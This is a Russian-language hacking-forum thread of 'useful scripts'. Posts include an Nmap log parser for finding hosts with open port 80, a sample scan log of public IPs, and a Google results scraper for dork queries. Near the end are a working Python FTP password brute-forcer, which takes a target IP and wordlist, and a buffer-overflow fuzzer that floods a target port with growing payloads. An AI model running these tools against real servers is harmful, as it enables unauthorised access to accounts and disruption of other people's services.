Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. Orakul

    Orakul New Member

    Joined:
    24 Jun 2013
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    четыре дня чтива python вылились в парсер выбора ip адресов с открытым портом.

    PHP:
    #!/usr/bin/python3
    #coding=utf-8

    """
    разработка  скрипта для парсига лога программы Nmap
    при сканировании серверов домашний сети для выявления
    открытых портов на интерфейсах применяется
    в административных целях. Цель:скрипт должен принимать
    данные из командной строки или из файла и выводить данные
    """
    import sys
    #import ipd
    #:import codecs
    #import re

    maska='Nmap scan report for'#будет хранить шаблон для строки содержащей ip
    port='80/tcp open  http'
    numberserver=0
    inp
    =0#хранит индекс скобки '(' за которой лежит ip -нужна для диапазона обрезания строк
    out=0#хранит индекс открывающейся скобки (хранит индекс открывающейся скобки (хранит индекс закрывающейся скобки )
    intmaska='123456789'#шаблон для ip адресов
    wfile=open('тут путь к логу который нужно отпарсить','w',encoding='utf8')#создает файл для хранения открытых серверов
    file=open('skan_80port','r')# загружаю файл в переменную file не забыть закрыть файл в конце программы!!!!
    strin=file.read()#strin строка
    file.close#закрытие файла с не отпарсенной информацией
    sfile=strin.split('\n')# sfile работает как список
    coun=0#счетчик для привязки ip адреса к своему порту
    for line in sfile:

        if 
    maska in line:#maska'Nmap skan report for'
             
    s_ip=line#сохраняю строку с ip для будущего парсинга  если порт открыт

             
    if port in sfile[coun+3]:    #если порт открыт то выводить статус порта и адрес ip

                 
    if s_ip.count(')'):  #если ip адрес в скобках закрыт для айпишников со скобками

                      
    for i in s_ip:

                          
    inp=(s_ip.find('('))+1
                          out
    =(len(s_ip))-1
                          s_ip
    =s_ip[inp:out]
                          
    inp=0
                          
    print(s_ip)
                          
    wfile.write(s_ip+'\n')#запись открытого порта:сервера
                          
    numberserver+=1
                          
    break
                 else:
                      for 
    i in s_ip:#запустить индексацию с конца строки
                          
    inp+=1

                          
    if i in intmaska:
                              
    out=len(s_ip)
                              
    s_ip=s_ip[inp:out]
                              print(
    s_ip)
                              
    wfile.write(s_ip+'\n')#запись открытого порта:сервера
                              
    inp=0
                              numberserver
    +=1
                              
    break
             
    coun+=1
        
    else:
            
    coun+=1
            wfile
    .close# закрываю файл с отпарсенными серверами
    print(numberserver)# выводит количество адресов с открытым портом.


     
  2. Orakul

    Orakul New Member

    Joined:
    24 Jun 2013
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    был лог nmap таким

    HTML:
    Nmap scan report for host-128-13-52-24.midco.net (24.52.13.128)
    Host is up (0.27s latency).
    PORT    STATE    SERVICE
    445/tcp filtered microsoft-ds
    
    Nmap scan report for fn128-static42.fariya.com (14.192.128.42)
    Host is up (0.27s latency).
    PORT    STATE    SERVICE
    445/tcp filtered microsoft-ds
    
    Nmap scan report for c-174-60-27-74.hsd1.pa.comcast.net (174.60.27.74)
    Host is up (0.24s latency).
    PORT    STATE    SERVICE
    445/tcp filtered microsoft-ds
    
    Nmap scan report for 197.106.70.218.cq.cq.cta.net.cn (218.70.106.197)
    Host is up (0.33s latency).
    PORT    STATE    SERVICE
    445/tcp filtered microsoft-ds
    
    Nmap scan report for OTWAON23-1279656571.sdsl.bell.ca (76.70.2.123)
    Host is up (0.23s latency).
    PORT    STATE    SERVICE
    445/tcp filtered microsoft-ds
     
  3. littlebig

    littlebig New Member

    Joined:
    11 Feb 2016
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    а есть какой нибудь скрипт по типу экранной лупы на сайт?
     
  4. artkar

    artkar Well-Known Member

    Joined:
    14 Nov 2016
    Messages:
    351
    Likes Received:
    330
    Reputations:
    6
    А есть такой скрипт, чтобы он :
    1 открыл гугел
    2 сделал запрос
    3 в выводе нашел нужный сайт и открыл его
    ????
     
  5. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,446
    Likes Received:
    763
    Reputations:
    834
    Когда-то писал подобный скрипт под хауман эмулятор(Лицензию). суть была в поведенческом факторе.
     
    _________________________
  6. artkar

    artkar Well-Known Member

    Joined:
    14 Nov 2016
    Messages:
    351
    Likes Received:
    330
    Reputations:
    6
    Да в принципе открыть и сделать запрос, не сложно. Проверить тот ли сайт тоже не сложно, по паре ключевых слов. Вот перебор гуглового вывода не представляю как делается, там у него сложно как то, не тупой html.

    Наверняка кто-то делал уже......
    ??
     
  7. wanessa

    wanessa New Member

    Joined:
    21 Nov 2011
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    Может у кого то завалялся простенький скрипт калькулятора калорий для сайта?
     
  8. ZodiaX

    ZodiaX Reservists Of Antichat

    Joined:
    7 May 2009
    Messages:
    530
    Likes Received:
    297
    Reputations:
    46
    Code:
    from bs4 import BeautifulSoup
    import requests                                                                                                                                                                                                  
    
    dork = 'vk'                   #поисковой запрос
    li = 20                       #number page 10,20,30,...etc
    def googlesearch(searchfor):
        for lis in range(li):
            if (lis%10):
                link = 'https://www.google.com/search?q=%s&ie=utf-8&oe=utf-8&start=%d' % (searchfor, lis)                                                                                                                           
                ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0'}                                                              
                payload = {'q': searchfor}                                                                                                                                                                                   
                response = requests.get(link, headers=ua, params=payload)                                                                                                                                                    
    
                soup = BeautifulSoup(response.text, 'html.parser')
                par = soup.find_all('h3', class_="r")
                for a in par:
                    print(a.find('a').get('href'))
                 
    googlesearch(dork)
    немного не то конечно, по сути парсинг урлов из гугловой выдачи, но может кому пригодится.
     
    #1168 ZodiaX, 2 Mar 2017
    Last edited: 2 Mar 2017
    artkar and crlf like this.
  9. artkar

    artkar Well-Known Member

    Joined:
    14 Nov 2016
    Messages:
    351
    Likes Received:
    330
    Reputations:
    6
    Спасибо, интересно.
     
  10. kriesrouge

    kriesrouge New Member

    Joined:
    15 Aug 2016
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    люди добрые! подскажите пожалуйста - как сделать автоклик по айфрему не на своем домене. я уже выбился из сил =(
     
  11. qwaszx000

    qwaszx000 Member

    Joined:
    10 Feb 2018
    Messages:
    27
    Likes Received:
    14
    Reputations:
    7
    Вчера написал брутер фтп на питоне, может кому интересно будет код глянуть:
    Code:
    import socket
    import sys
    import time
    user = input("user to brute:")
    ip = input("ip of ftp serv:")
    port = int(input("port(21 - standartly):"))
    spath = input("full path to slovar:")
    def login(u,p,h,prt):
     s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     s.connect_ex((h,prt))
     time.sleep(0.01)
     r = s.recv(1024)
     s.send(("USER "+u+"\n\r").encode())
     time.sleep(0.01)
     r = s.recv(1024)
     s.send(("PASS "+p+"\r\n").encode())
     time.sleep(0.01)
     r = s.recv(1024).decode()
     r = r.split(" ")
     s.send("QUIT\r\n".encode())
     return int(r[0])#код ответа
    def get_pass(path):
     a = open(path,"r")
     r = a.read()
     r = r.split(" ")
     a.close()
     return r
    def brute(path,user,ip,port):
     pasws = get_pass(path)
     for i in pasws:
      if(login(user,i,ip,port)==230):
       sys.exit(user + " : " + i + " <-bruted!")
    print("starting...")
    brute(spath,user,ip,port)
    sleep'ы нужны, без них сервер не успевает ловить и обрабатывать отправленные ему пакеты.
    Делал не используя ftp библиотек, чтоб понять протокол, да и полезнее так писать(ИМХО).

    Есть у кого пример работы с socks4/5 проксями?
     
    #1171 qwaszx000, 3 May 2018
    Last edited: 3 May 2018
  12. qwaszx000

    qwaszx000 Member

    Joined:
    10 Feb 2018
    Messages:
    27
    Likes Received:
    14
    Reputations:
    7
    Code:
    import socket
    import sys
    import time
    ip = input("ip:")
    port = int(input("port:"))
    buf = 'x41'*500#50 'A'
    while 1:
     s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     if(s.connect_ex((ip,port))==-1):
      sys.exit("can't connect. \nMay be host have buffer owerflow vulneriable!\nLast buf len:"+len(buf))
     r = s.recv(1024)
     time.sleep(6)
     print("sending buf with len:"+str(len(buf)))
     if(port == 21):
      u = b"USER "+buf.encode()+b"\r\n"
     else:
      u = buf.encode()
     s.send(u)
     s.close()
     buf = buf + 'x41'*500
    простой фаззер проверки переполнения буфера на питоне.
     
Loading...